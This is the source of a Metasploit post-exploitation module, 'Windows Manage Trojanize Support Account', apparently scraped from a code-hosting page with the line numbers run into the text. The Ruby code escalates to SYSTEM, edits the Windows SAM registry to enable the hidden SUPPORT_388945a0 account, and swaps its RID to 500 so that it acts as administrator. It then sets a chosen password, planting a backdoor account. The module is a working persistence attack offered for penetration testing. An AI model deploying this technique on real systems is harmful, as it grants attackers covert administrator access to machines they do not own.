Path: blob/master/modules/post/windows/manage/enable_support_account.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Registry7include Msf::Post::Windows::Priv89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Manage Trojanize Support Account',14'Description' => %q{15This module enables alternative access to servers and workstations16by modifying the support account's properties. It will enable17the account for remote access as the administrator user while18taking advantage of some weird behavior in lusrmgr.msc. It will19check if sufficient privileges are available for registry operations,20otherwise it exits.21},22'License' => MSF_LICENSE,23'Author' => 'salcho <salchoman[at]gmail.com>',24'Platform' => [ 'win' ],25'SessionTypes' => [ 'meterpreter' ],26'References' => [ 'http://xangosec.blogspot.com/2013/06/trojanizing-windows.html' ],27'Compat' => {28'Meterpreter' => {29'Commands' => %w[30priv_elevate_getsystem31]32}33},34'Notes' => {35'Stability' => [CRASH_SAFE],36'SideEffects' => [CONFIG_CHANGES],37'Reliability' => []38}39)40)4142register_options(43[44OptString.new('PASSWORD', [true, 'Password of the support user account', 'password']),45OptBool.new('GETSYSTEM', [true, 'Attempt to get SYSTEM privilege on the target host.', false])46]47)48end4950def run51reg_key = 'HKLM\\SAM\\SAM\\Domains\\Account\\Users'5253unless is_system?54if datastore['GETSYSTEM']55print_status('Trying to get system...')56res = session.priv.getsystem57if res[0]58print_good('Got system!')59else60print_error('Unable to get system! You need to run this script.')61return62end63else64print_error('You need to run this script as system!')65return66end67end6869version = get_version_info70unless version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::Server2003_SP2)71print_error("#{version.product_name} is not supported")72return73end7475print_status("Target OS is #{version.product_name}")76names_key = registry_enumkeys(reg_key + '\\Names')77unless names_key78print_error("Couldn't access registry keys")79return80end8182rid = -183print_status('Harvesting users...')84names_key.each do |name|85next unless name.include?('SUPPORT_388945a0')8687print_good("Found #{name} account!")88skey = registry_getvalinfo(reg_key + "\\Names\\#{name}", '')8990if !skey91print_error("Couldn't open user's key")92break93end9495rid = skey['Type']96print_status("Target RID is #{rid}")97end9899if rid == -1100print_error("Couldn't get user's RID...")101return102end103104users_key = registry_enumkeys(reg_key)105users_key.each do |r|106next if r.to_i(16) != rid107108f = registry_getvaldata(reg_key + "\\#{r}", 'F')109if check_active(f)110print_status('Account is disabled, activating...')111f[0x38] = ['10'].pack('H')112else113print_error('Target account is already enabled')114end115116print_status('Swapping RIDs...!')117# Overwrite RID to 500 (as administrator)118f = swap_rid(f, 500)119120open_key = registry_setvaldata(reg_key + "\\#{r}", 'F', f, 'REG_BINARY')121unless open_key122print_error("Can't write to registry... Something's wrong!")123break124end125126print_status("Setting password to #{datastore['PASSWORD']}")127cmd = cmd_exec('cmd.exe', "/c net user support_388945a0 #{datastore['PASSWORD']}")128vprint_status(cmd.to_s)129end130end131132def check_active(f_value)133if f_value[0x38].unpack('H*')[0].to_i == 11134return true135else136return false137end138end139140def swap_rid(f_value, rid)141# This function will set hex format to a given RID integer142hex = [('%04x' % rid).scan(/.{2}/).reverse.join].pack('H*')143# Overwrite new RID at offset 0x30144f_value[0x30, 2] = hex145return f_value146end147end148149150